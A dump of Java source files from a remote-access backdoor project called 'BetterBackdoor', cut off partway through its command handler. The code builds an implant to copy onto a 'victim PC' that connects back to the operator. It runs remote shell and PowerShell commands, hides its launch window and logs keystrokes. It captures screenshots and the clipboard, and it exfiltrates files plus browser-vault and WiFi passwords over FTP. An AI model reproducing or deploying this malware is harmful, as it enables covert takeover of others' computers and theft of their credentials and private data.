    "content": "package dev.thatcherclough.betterbackdoor;\r\n\r\nimport java.io.File;\r\nimport java.nio.file.Paths;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.Base64;\r\nimport java.util.Objects;\r\nimport java.util.Scanner;\r\n\r\nimport dev.thatcherclough.betterbackdoor.backend.Utils;\r\nimport dev.thatcherclough.betterbackdoor.shell.Shell;\r\n\r\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\r\n\r\nimport javax.crypto.*;\r\n\r\n@SpringBootApplication\r\npublic class BetterBackdoor {\r\n\r\n\tpublic final static Scanner sc = new Scanner(System.in);\r\n\tpublic final static String os = System.getProperty(\"os.name\");\r\n\r\n\t/**\r\n\t * Starts BetterBackdoor.\r\n\t *\r\n\t * @param args command line arguments\r\n\t */\r\n\tpublic static void main(String[] args) {\r\n\t\tSystem.out.println(\"_________        __    __              __________                __       .___\\n\"\r\n\t\t\t\t+ \"\\\\_____   \\\\ _____/  |__/  |_  __________\\\\______   \\\\______    ____ |  | __ __| _/____   ___________ \\n\"\r\n\t\t\t\t+ \" |    |  _// __ \\\\   __\\\\   __\\\\/ __ \\\\_  __ \\\\    |  _/\\\\__  \\\\ _/ ___\\\\|  |/ // __ |/  _ \\\\ /  _ \\\\_  __ \\\\\\n\"\r\n\t\t\t\t+ \" |    |   \\\\  ___/|  |  |  | \\\\  ___/|  | \\\\/    |   \\\\ / __ \\\\\\\\  \\\\___|    </ /_/ (  <_> |  <_> )  | \\\\/\\n\"\r\n\t\t\t\t+ \" |______  /\\\\___  >__|  |__|  \\\\___  >__|  |______  /(____  /\\\\___  >__|_ \\\\____ |\\\\____/ \\\\____/|__|\\n\"\r\n\t\t\t\t+ \"        \\\\/     \\\\/                \\\\/             \\\\/      \\\\/     \\\\/     \\\\/    \\\\/\");\r\n\t\tSystem.out.println(\"Welcome to BetterBackdoor\\n\");\r\n\t\tSystem.out.println(\"Select:\");\r\n\t\tSystem.out.println(\"[0] Create backdoor\");\r\n\t\tSystem.out.println(\"[1] Open backdoor shell\");\r\n\t\tString choice = getInput(\"op01\");\r\n\t\tif (choice.equals(\"0\")) {\r\n\t\t\ttry {\r\n\t\t\t\tSystem.out.println(\"Would you like this backdoor to operate within a single network, LAN, or over the internet, WAN (requires port forwarding):\");\r\n\t\t\t\tSystem.out.println(\"[0] LAN\");\r\n\t\t\t\tSystem.out.println(\"[1] WAN (requires port forwarding)\");\r\n\t\t\t\tString ipType = getInput(\"op01\").equals(\"0\") ? \"internal\" : \"external\";\r\n\r\n\t\t\t\tString encryptionKey = null;\r\n\t\t\t\tSystem.out.println(\"Would you like to encrypt data sent to and from the backdoor using an automatically generated 128 bit AES encryption key?(y/n):\");\r\n\t\t\t\tboolean encrypt = Boolean.parseBoolean(getInput(\"yn\"));\r\n\t\t\t\tif (encrypt) {\r\n\t\t\t\t\tKeyGenerator keyGenerator;\r\n\t\t\t\t\ttry {\r\n\t\t\t\t\t\tkeyGenerator = KeyGenerator.getInstance(\"AES\");\r\n\t\t\t\t\t} catch (NoSuchAlgorithmException e) {\r\n\t\t\t\t\t\tthrow new Exception(\"Could not generate encryption key.\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tObjects.requireNonNull(keyGenerator).init(128);\r\n\t\t\t\t\tencryptionKey = Base64.getEncoder().encodeToString(keyGenerator.generateKey().getEncoded());\r\n\t\t\t\t\tSystem.out.println(\"Automatically generated key: \" + encryptionKey + \"\\n\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\tboolean jre = false;\r\n\t\t\t\tif (os.contains(\"Windows\")) {\r\n\t\t\t\t\tSystem.out.println(\r\n\t\t\t\t\t\t\t\"Would you like to package the Java Runtime Environment from your computer with the backdoor\\nso it can be run on computers without Java \" +\r\n\t\t\t\t\t\t\t\t\t\"installed?\" +\r\n\t\t\t\t\t\t\t\t\t\"(y/n):\");\r\n\t\t\t\t\tjre = Boolean.parseBoolean(getInput(\"yn\"));\r\n\t\t\t\t} else\r\n\t\t\t\t\tSystem.out.println(\r\n\t\t\t\t\t\t\t\"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\\n\"\r\n\t\t\t\t\t\t\t\t\t+ \"in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\\n\");\r\n\r\n\t\t\t\tSystem.out.println(\"Press ENTER to create backdoor...\");\r\n\t\t\t\tsc.nextLine();\r\n\t\t\t\tSystem.out.println(\"Creating...\\n\");\r\n\t\t\t\tSetup.create(jre, ipType, encryptionKey);\r\n\t\t\t\tSystem.out.println(\"Created!\\n\");\r\n\t\t\t\tif (ipType.equals(\"external\"))\r\n\t\t\t\t\tSystem.out.println(\r\n\t\t\t\t\t\t\t\"Using your routers settings page, forward ports 1025 and 1026 from this computer (\"\r\n\t\t\t\t\t\t\t\t\t+ Utils.getIP(\"internal\") + \") with TCP selected.\\n\");\r\n\t\t\t\tSystem.out.println(\r\n\t\t\t\t\t\t\"To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\\n\"\r\n\t\t\t\t\t\t\t\t+ \"If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.\\n\"\r\n\t\t\t\t\t\t\t\t+ \"This will start the backdoor on the victim's PC.\\n\"\r\n\t\t\t\t\t\t\t\t+ \"To control the backdoor, return to BetterBackdoor and run option 1 at start.\\n\");\r\n\t\t\t\tif (encrypt) {\r\n\t\t\t\t\tString keysFilepath = System.getProperty(\"user.dir\") + File.separator + \"keys.txt\";\r\n\t\t\t\t\tSystem.out.println(\"***IMPORTANT***\\nEncryption key: \" + encryptionKey + \"\\nThe encryption key is stored both inside of run.jar (the backdoor) and in '\"\r\n\t\t\t\t\t\t\t+ keysFilepath + \"' on the current machine.\\nIf 'keys.txt' gets deleted, you will be given an option to manually input the key when \" +\r\n\t\t\t\t\t\t\t\"connecting to the backdoor.\\nWithout this key you will not be able to control the backdoor.\\n\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\tSystem.out.println(\"Press ENTER to exit...\");\r\n\t\t\t\tsc.nextLine();\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tif (e.getMessage() == null)\r\n\t\t\t\t\terror(\"Could not create backdoor\");\r\n\t\t\t\telse\r\n\t\t\t\t\terror(\"Could not create backdoor:\\n\" + e.getMessage());\r\n\t\t\t}\r\n\t\t} else\r\n\t\t\tShell.start();\r\n\t}\r\n\r\n\t/**\r\n\t * Gets user input and verify it's validity with {@code type}.\r\n\t *\r\n\t * @param type type of input\r\n\t * @return user input\r\n\t */\r\n\tpublic static String getInput(String type) {\r\n\t\tSystem.out.print(\">\");\r\n\t\tString ret = sc.nextLine();\r\n\t\tif (ret.isEmpty())\r\n\t\t\treturn getInput(type);\r\n\t\telse if (type.equals(\"file\") && !new File(ret).exists()) {\r\n\t\t\tSystem.out.println(\"\\nFile not found\\nEnter a valid file path:\");\r\n\t\t\treturn getInput(type);\r\n\t\t} else if (type.equals(\"yn\") && !(ret.equalsIgnoreCase(\"y\") || ret.equalsIgnoreCase(\"n\"))) {\r\n\t\t\tSystem.out.println(\"\\nInvalid entry\\nEnter 'y' or 'n':\");\r\n\t\t\treturn getInput(type);\r\n\t\t} else if (type.startsWith(\"op\") && (!type.substring(2).contains(ret) || !(ret.length() == 1)))\r\n\t\t\treturn getInput(type);\r\n\t\telse\r\n\t\t\tSystem.out.println();\r\n\r\n\t\tif (type.equals(\"file\"))\r\n\t\t\treturn Paths.get(ret).toString();\r\n\t\telse if (type.equals(\"yn\"))\r\n\t\t\tif (ret.equals(\"y\"))\r\n\t\t\t\treturn \"true\";\r\n\t\t\telse\r\n\t\t\t\treturn \"false\";\r\n\t\telse\r\n\t\t\treturn ret;\r\n\t}\r\n\r\n\t/**\r\n\t * Displays \"An error occurred\" followed by {@code errorMessage} and exits.\r\n\t *\r\n\t * @param errorMessage error message to display\r\n\t */\r\n\tpublic static void error(String errorMessage) {\r\n\t\tSystem.out.println(\"An error occurred:\\n\" + errorMessage + \"\\n\");\r\n\t\tSystem.exit(0);\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/Setup.java",
    "content": "package dev.thatcherclough.betterbackdoor;\r\n\r\nimport java.io.*;\r\nimport java.net.URI;\r\nimport java.nio.charset.StandardCharsets;\r\nimport java.nio.file.FileSystem;\r\nimport java.nio.file.FileSystems;\r\nimport java.nio.file.Files;\r\nimport java.nio.file.Paths;\r\nimport java.nio.file.StandardOpenOption;\r\nimport java.util.HashMap;\r\nimport java.util.Map;\r\n\r\nimport dev.thatcherclough.betterbackdoor.backend.Utils;\r\n\r\nimport org.apache.commons.io.FileUtils;\r\n\r\npublic class Setup {\r\n\r\n\t/**\r\n\t * Sets up backdoor.\r\n\t * <p>\r\n\t * If {@code packageJre} is true, copies the current machines JRE to directory\r\n\t * 'backdoor' and {@code #createBat(String, String, String)} is used to create a\r\n\t * '.bat' file for running the backdoor in the JRE. If {@code packageJre} is\r\n\t * false but directory 'jre' containing a Windows JRE distribution exists, 'jre'\r\n\t * is copied to 'backdoor' and {@code #createBat(String, String, String)} is\r\n\t * used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'\r\n\t * is copied from 'target' to 'backdoor' and 'info' is appended into it using\r\n\t * {@code #appendJar(String, String, String)}. If {@code ipType} is \"internal\",\r\n\t * 'info' will contain the internal IP address of the current machine. Otherwise,\r\n\t * if {@code ipType} is \"external\", 'info' will contain the external IP address of\r\n\t * the current machine. If {@code encryptionKey} is not null, 'info' will also contain\r\n\t * {@code encryptionKey}.\r\n\t *\r\n\t * @param packageJre    if a JRE should be packaged with the backdoor\r\n\t * @param ipType        type of IP address to append to 'run.jar'\r\n\t * @param encryptionKey key to be used to encrypt backdoor data\r\n\t * @throws IOException\r\n\t */\r\n\tpublic static void create(boolean packageJre, String ipType, String encryptionKey) throws IOException {\r\n\t\tif (packageJre) {\r\n\t\t\tString jrePath = System.getProperty(\"java.home\");\r\n\t\t\tFileUtils.copyDirectory(new File(jrePath + File.separator + \"bin\"),\r\n\t\t\t\t\tnew File(\"backdoor\" + File.separator + \"jre\" + File.separator + \"bin\"));\r\n\t\t\tFileUtils.copyDirectory(new File(jrePath + File.separator + \"lib\"),\r\n\t\t\t\t\tnew File(\"backdoor\" + File.separator + \"jre\" + File.separator + \"lib\"));\r\n\t\t\tcreateBat(\"backdoor\" + File.separator + \"run.bat\");\r\n\t\t} else if (new File(\"jre\").isDirectory()) {\r\n\t\t\tFileUtils.copyDirectory(new File(\"jre\"), new File(\"backdoor\" + File.separator + \"jre\"));\r\n\t\t\tcreateBat(\"backdoor\" + File.separator + \"run.bat\");\r\n\t\t}\r\n\t\tFileUtils.copyFile(new File(\"target\" + File.separator + \"run.jar\"),\r\n\t\t\t\tnew File(\"backdoor\" + File.separator + \"run.jar\"));\r\n\r\n\t\tString info = Utils.getIP(ipType);\r\n\t\tif (encryptionKey != null) {\r\n\t\t\tPrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(\"keys.txt\", true)));\r\n\t\t\tout.println(encryptionKey);\r\n\t\t\tout.flush();\r\n\t\t\tout.close();\r\n\t\t\tinfo += \"-\" + encryptionKey;\r\n\t\t}\r\n\t\tappendJar(\"backdoor\" + File.separator + \"run.jar\", \"/info\", info);\r\n\t}\r\n\r\n\t/**\r\n\t * Creates a '.bat' batch file for running a jar file in a Java Runtime\r\n\t * Environment.\r\n\t *\r\n\t * @param filePath path of '.bat' batch file to create\r\n\t * @throws FileNotFoundException\r\n\t */\r\n\tprivate static void createBat(String filePath) throws FileNotFoundException {\r\n\t\tPrintWriter out = new PrintWriter(new File(filePath));\r\n\t\tout.println(\r\n\t\t\t\t\"@echo off\\n%~d0 & cd %~dp0\\necho Set objShell = WScript.CreateObject(\\\"WScript.Shell\\\")>run.vbs\\necho objShell.Run \\\"cmd /c \"\r\n\t\t\t\t\t\t+ \"jre\\\\bin\\\\java -jar run.jar\\\", ^0, True>>run.vbs\\nstart run.vbs\\ncall:delvbs\\n:delvbs\\nif exist run.vbs (\\n timeout 3 > nul\\n del run.vbs\\n \" +\r\n\t\t\t\t\t\t\"@exit\\n\"\r\n\t\t\t\t\t\t+ \") else (\\ncall:delvbs\\n)\\ngoto:eof\");\r\n\t\tout.flush();\r\n\t\tout.close();\r\n\t}\r\n\r\n\t/**\r\n\t * Appends a new file with name {@code filename} and contents\r\n\t * {@code fileContents} into existing jar file with name {@code jarFile}.\r\n\t *\r\n\t * @param jarFile      name of jar file to append\r\n\t * @param filename     name of new file to append in jar\r\n\t * @param fileContents contents of new file to append in jar\r\n\t * @throws IOException\r\n\t */\r\n\tprivate static void appendJar(String jarFile, String filename, String fileContents) throws IOException {\r\n\t\tMap<String, String> env = new HashMap<>();\r\n\t\tenv.put(\"create\", \"true\");\r\n\t\ttry (FileSystem fileSystem = FileSystems.newFileSystem(URI.create(\"jar:\" + Paths.get(jarFile).toUri()), env)) {\r\n\t\t\ttry (Writer writer = Files.newBufferedWriter(fileSystem.getPath(filename), StandardCharsets.UTF_8,\r\n\t\t\t\t\tStandardOpenOption.CREATE)) {\r\n\t\t\t\twriter.write(fileContents);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/backdoor/Backdoor.java",
    "content": "package dev.thatcherclough.betterbackdoor.backdoor;\r\n\r\nimport dev.thatcherclough.betterbackdoor.backend.Utils;\r\n\r\nimport java.io.*;\r\nimport java.net.Socket;\r\nimport java.util.Scanner;\r\n\r\npublic class Backdoor {\r\n\r\n\tpublic static String ip;\r\n\tpublic static String key;\r\n\tprivate static Socket socket;\r\n\tprivate static ObjectInputStream in;\r\n\tpublic static ObjectOutputStream out;\r\n\tpublic static String gatheredDir = System.getProperty(\"user.home\") + \"\\\\AppData\\\\Gathered\\\\\";\r\n\r\n\t/**\r\n\t * Constructs and starts a new Backdoor.\r\n\t *\r\n\t * @param args command line arguments\r\n\t */\r\n\tpublic static void main(String[] args) {\r\n\t\tBackdoor backdoor = new Backdoor();\r\n\t\tbackdoor.start();\r\n\t}\r\n\r\n\t/**\r\n\t * Constructs a new Backdoor.\r\n\t * <p>\r\n\t * Uses {@link #readFromJar(String)} to get the contents of \"info\", a text file\r\n\t * inside the jar file this class will be running from. This file contains the\r\n\t * IP address of the server to be used to control the backdoor, and possibly an encryption key.\r\n\t * Sets {@link #ip} to this IP address. Creates directory {@code gatheredDir}.\r\n\t */\r\n\tprivate Backdoor() {\r\n\t\ttry {\r\n\t\t\tString contents = readFromJar(\"/info\");\r\n\t\t\tif (contents.contains(\"-\")) {\r\n\t\t\t\tip = contents.substring(0, contents.indexOf(\"-\"));\r\n\t\t\t\tkey = contents.substring(contents.indexOf(\"-\") + 1);\r\n\t\t\t} else\r\n\t\t\t\tip = contents;\r\n\t\t\tnew File(gatheredDir).mkdir();\r\n\t\t} catch (Exception e) {\r\n\t\t\tSystem.exit(0);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Starts backdoor.\r\n\t * <p>\r\n\t * Attempts to connect to the server with the ip address {@link #ip} on port\r\n\t * 1025. Once connected, starts a loop that continuously gets commands from the\r\n\t * server and handles commands with\r\n\t * {@link HandleCommand#handle(String command)}.\r\n\t */\r\n\tprivate void start() {\r\n\t\ttry {\r\n\t\t\twhile (true)\r\n\t\t\t\ttry {\r\n\t\t\t\t\tsocket = new Socket(ip, 1025);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t} catch (Exception e) {\r\n\t\t\t\t\tThread.sleep(3000);\r\n\t\t\t\t}\r\n\t\t\tout = new ObjectOutputStream(socket.getOutputStream());\r\n\t\t\tin = new ObjectInputStream(socket.getInputStream());\r\n\r\n\t\t\tout.writeObject(Boolean.toString(key != null));\r\n\t\t\tout.flush();\r\n\t\t\tif (key != null)\r\n\t\t\t\twhile (true) {\r\n\t\t\t\t\tString trueEncrypted = (String) in.readObject();\r\n\t\t\t\t\ttry {\r\n\t\t\t\t\t\tString trueDecrypted = Utils.decrypt(trueEncrypted, key);\r\n\t\t\t\t\t\tif (trueDecrypted.equals(\"true\")) {\r\n\t\t\t\t\t\t\tout.writeObject(\"true\");\r\n\t\t\t\t\t\t\tout.flush();\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\tthrow new Exception();\r\n\t\t\t\t\t} catch (Exception e) {\r\n\t\t\t\t\t\tout.writeObject(\"false\");\r\n\t\t\t\t\t\tout.flush();\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\r\n\t\t\twhile (true) {\r\n\t\t\t\tString command;\r\n\t\t\t\tString rec = (String) in.readObject();\r\n\t\t\t\tif (key != null)\r\n\t\t\t\t\tcommand = Utils.decrypt(rec, key);\r\n\t\t\t\telse\r\n\t\t\t\t\tcommand = rec;\r\n\r\n\t\t\t\tHandleCommand.handle(command);\r\n\t\t\t}\r\n\t\t} catch (Exception e) {\r\n\t\t\ttry {\r\n\t\t\t\tif (socket != null)\r\n\t\t\t\t\tsocket.close();\r\n\t\t\t\tif (in != null)\r\n\t\t\t\t\tin.close();\r\n\t\t\t\tif (out != null)\r\n\t\t\t\t\tout.close();\r\n\t\t\t\tstart();\r\n\t\t\t} catch (Exception e1) {\r\n\t\t\t\tSystem.exit(0);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Gets the contents of the file with the name {@code filename} from inside the\r\n\t * jar file this class will be running from.\r\n\t *\r\n\t * @param filename name of the file to get contents of\r\n\t * @return contents of the file\r\n\t */\r\n\tprivate String readFromJar(String filename) {\r\n\t\tStringBuilder ret = new StringBuilder();\r\n\t\tScanner in = new Scanner(getClass().getResourceAsStream(filename));\r\n\t\twhile (in.hasNextLine())\r\n\t\t\tret.append(in.nextLine());\r\n\t\tin.close();\r\n\r\n\t\treturn ret.toString();\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/backdoor/HandleCommand.java",
    "content": "package dev.thatcherclough.betterbackdoor.backdoor;\r\n\r\nimport java.awt.Rectangle;\r\nimport java.awt.Robot;\r\nimport java.awt.Toolkit;\r\nimport java.awt.datatransfer.DataFlavor;\r\nimport java.io.File;\r\nimport java.io.IOException;\r\nimport java.io.PrintWriter;\r\nimport java.security.InvalidKeyException;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.ArrayList;\r\nimport java.util.Arrays;\r\nimport java.util.Scanner;\r\n\r\nimport javax.crypto.BadPaddingException;\r\nimport javax.crypto.IllegalBlockSizeException;\r\nimport javax.crypto.NoSuchPaddingException;\r\nimport javax.imageio.ImageIO;\r\n\r\nimport dev.thatcherclough.betterbackdoor.backend.DuckyScripts;\r\nimport dev.thatcherclough.betterbackdoor.backend.FTP;\r\nimport dev.thatcherclough.betterbackdoor.backend.KeyLogger;\r\nimport dev.thatcherclough.betterbackdoor.backend.Utils;\r\n\r\nimport org.apache.commons.io.FileUtils;\r\n\r\npublic class HandleCommand {\r\n\r\n\t/**\r\n\t * Handles command.\r\n\t * <p>\r\n\t * Handles command {@code command} and sets {@code send} to an appropriate\r\n\t * response. Uses {@link Backdoor#out} to send the response.\r\n\t *\r\n\t * @param command command given to the backdoor\r\n\t */\r\n\tpublic static void handle(String command) throws IOException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException,\r\n\t\t\tNoSuchPaddingException {\r\n\t\tStringBuilder send = new StringBuilder();\r\n\t\tif (command.equals(\"help\"))\r\n\t\t\tsend = new StringBuilder(\"[cmd] Open a command prompt shell\\n[ps] Run a PowerShell script\\n[ds] Run a DuckyScript\\n\"\r\n\t\t\t\t\t+ \"[exfiles] Exfiltarte files based on extension\\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\\n\"\r\n\t\t\t\t\t+ \"[filesend] Send a file to victim's computer\\n[filerec] Receive a file from victim's computer\\n\"\r\n\t\t\t\t\t+ \"[keylog] Start a KeyLogger on victim's computer\\n[ss] Get a screenshot of vitim's computer\\n\"\r\n\t\t\t\t\t+ \"[cb] Get text currently copied to victim's clipboard\\n[cat] Get contents of a file on victim's computer\\n\"\r\n\t\t\t\t\t+ \"[zip] Compress a directory to a ZIP file\\n[unzip] Decompress a ZIP file\\n\"\r\n\t\t\t\t\t+ \"[remove] Remove backdoor and all backdoor files from victim's computer\\n[exit] Exit\");\r\n\t\telse if (command.equals(\"current-dir\"))\r\n\t\t\tsend = new StringBuilder(System.getProperty(\"user.dir\"));\r\n\t\telse if (command.equals(\"current-cmd-dir\"))\r\n\t\t\tsend = new StringBuilder(Utils.currentCMDDirectory);\r\n\t\telse if (command.startsWith(\"cmd\"))\r\n\t\t\tsend = new StringBuilder(Utils.runCommand(command.substring(4), true));\r\n\t\telse if (command.startsWith(\"ps\") || command.startsWith(\"ds\")) {\r\n\t\t\tFile file = new File(command.substring(3));\r\n\t\t\ttry {\r\n\t\t\t\tif (command.startsWith(\"ps\") && file.exists())\r\n\t\t\t\t\tsend = new StringBuilder(Utils.runPSScript(command.substring(3)));\r\n\t\t\t\telse if (command.startsWith(\"ds\") && file.exists() && DuckyScripts.run(command.substring(3)))\r\n\t\t\t\t\tsend = new StringBuilder(\"DuckyScript successfully executed\");\r\n\t\t\t\telse\r\n\t\t\t\t\tthrow new Exception();\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to execute script\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tFileUtils.forceDelete(file);\r\n\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (command.startsWith(\"exfiles\")) {\r\n\t\t\tFile exfiltratedFiles = new File(Backdoor.gatheredDir + \"ExfiltratedFiles\");\r\n\t\t\ttry {\r\n\t\t\t\tUtils.exfilFiles(command.substring(command.indexOf(\" \"), command.indexOf(\"*\")),\r\n\t\t\t\t\t\tnew ArrayList<>(Arrays.asList(command.substring(command.indexOf(\"*\") + 1).split(\",\"))));\r\n\t\t\t\tUtils.zipDir(exfiltratedFiles.getAbsolutePath());\r\n\t\t\t\tFTP.backdoor(exfiltratedFiles.getAbsolutePath() + \".zip\", \"send\", Backdoor.ip);\r\n\t\t\t\twaitForSocketTransfer();\r\n\t\t\t\tsend = new StringBuilder(\"Files exfiltrated\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to exfiltrate files\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tFileUtils.forceDelete(exfiltratedFiles);\r\n\t\t\t\t\tFileUtils.forceDelete(new File(exfiltratedFiles.getAbsolutePath() + \".zip\"));\r\n\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (command.equals(\"expass\")) {\r\n\t\t\tFile exfiltratedPasswords = new File(Backdoor.gatheredDir + \"ExfiltratedPasswords\");\r\n\t\t\ttry {\r\n\t\t\t\tif (!exfiltratedPasswords.mkdir())\r\n\t\t\t\t\tthrow new Exception(\"Could not create directory\");\r\n\t\t\t\tFile exfilBrowserCredsScript = new File(\r\n\t\t\t\t\t\texfiltratedPasswords.getAbsolutePath() + File.separator + \"ExfilBrowserCreds.ps1\");\r\n\t\t\t\tPrintWriter out = new PrintWriter(exfilBrowserCredsScript);\r\n\t\t\t\tout.println(\"$filename=$PSScriptRoot+\\\"\\\\BrowserPasswords.txt\\\"\\n\"\r\n\t\t\t\t\t\t+ \"[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]\\n\"\r\n\t\t\t\t\t\t+ \"$creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll()\\n\"\r\n\t\t\t\t\t\t+ \"foreach ($c in $creds) {$c.RetrievePassword()}\\n\"\r\n\t\t\t\t\t\t+ \"$creds | Format-List -Property Resource,UserName,Password | Out-File $filename\\n\" + \"exit\");\r\n\t\t\t\tout.flush();\r\n\t\t\t\tout.close();\r\n\t\t\t\tUtils.runPSScript(exfilBrowserCredsScript.getAbsolutePath());\r\n\t\t\t\tUtils.runCommand(\"netsh wlan export profile key=clear folder=\" + exfiltratedPasswords.getAbsolutePath(), false);\r\n\t\t\t\tFileUtils.forceDelete(exfilBrowserCredsScript);\r\n\t\t\t\tUtils.zipDir(exfiltratedPasswords.getAbsolutePath());\r\n\t\t\t\tFTP.backdoor(exfiltratedPasswords.getAbsolutePath() + \".zip\", \"send\", Backdoor.ip);\r\n\t\t\t\twaitForSocketTransfer();\r\n\t\t\t\tsend = new StringBuilder(\"Passwords exfiltrated\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to exfiltrate passwords\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tFileUtils.forceDelete(exfiltratedPasswords);\r\n\t\t\t\t\tFileUtils.forceDelete(new File(exfiltratedPasswords.getAbsolutePath() + \".zip\"));\r\n\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (command.startsWith(\"filetype\")) {\r\n\t\t\tFile file = new File(command.substring(9));\r\n\t\t\tif (file.isFile())\r\n\t\t\t\tsend = new StringBuilder(\"file\");\r\n\t\t\telse if (file.isDirectory())\r\n\t\t\t\tsend = new StringBuilder(\"directory\");\r\n\t\t\telse\r\n\t\t\t\tsend = new StringBuilder(\"not real\");\r\n\t\t} else if (command.startsWith(\"filesend\")) {\r\n\t\t\ttry {\r\n\t\t\t\tFTP.backdoor(command.substring(9), \"rec\", Backdoor.ip);\r\n\t\t\t\twaitForSocketTransfer();\r\n\t\t\t\tsend = new StringBuilder(\"File sent\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to send file\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t}\r\n\t\t} else if (command.startsWith(\"filerec\")) {\r\n\t\t\tFile file = new File(command.substring(8));\r\n\t\t\ttry {\r\n\t\t\t\tif (file.isFile())\r\n\t\t\t\t\tFTP.backdoor(file.getAbsolutePath(), \"send\", Backdoor.ip);\r\n\t\t\t\telse if (file.isDirectory()) {\r\n\t\t\t\t\tUtils.zipDir(file.getAbsolutePath());\r\n\t\t\t\t\tFTP.backdoor(file.getAbsolutePath() + \".zip\", \"send\", Backdoor.ip);\r\n\t\t\t\t}\r\n\r\n\t\t\t\twaitForSocketTransfer();\r\n\t\t\t\tsend = new StringBuilder(\"File received\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to receive file\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tif (file.isDirectory())\r\n\t\t\t\t\t\tFileUtils.forceDelete(new File(file.getAbsolutePath() + \".zip\"));\r\n\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (command.startsWith(\"keylog\")) {\r\n\t\t\tThread keyLogger = new Thread(() -> KeyLogger.start(command.substring(7)));\r\n\t\t\tkeyLogger.start();\r\n\t\t\tsend = new StringBuilder(\"Keys are being logged to '\" + command.substring(7) + \"\\\\keys.log' on victim's computer\");\r\n\t\t} else if (command.equals(\"ss\")) {\r\n\t\t\tFile screenshot = new File(Backdoor.gatheredDir + \"screenshot.png\");\r\n\t\t\ttry {\r\n\t\t\t\tImageIO.write(\r\n\t\t\t\t\t\tnew Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())),\r\n\t\t\t\t\t\t\"png\", screenshot);\r\n\t\t\t\tFTP.backdoor(screenshot.getAbsolutePath(), \"send\", Backdoor.ip);\r\n\t\t\t\twaitForSocketTransfer();\r\n\t\t\t\tsend = new StringBuilder(\"Screenshot received\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to receive screenshot\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tFileUtils.forceDelete(screenshot);\r\n\t\t\t\t} catch (IOException ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (command.equals(\"cb\"))\r\n\t\t\ttry {\r\n\t\t\t\tString clipBoard = (String) Toolkit.getDefaultToolkit().getSystemClipboard()\r\n\t\t\t\t\t\t.getData(DataFlavor.stringFlavor);\r\n\t\t\t\tif (clipBoard.isEmpty())\r\n\t\t\t\t\tsend = new StringBuilder(\"Nothing copied to victim's clipboard\");\r\n\t\t\t\telse\r\n\t\t\t\t\tsend = new StringBuilder(\"Victim's clipboard:\\n\" + clipBoard);\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to get victim's clipboard\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t}\r\n\t\telse if 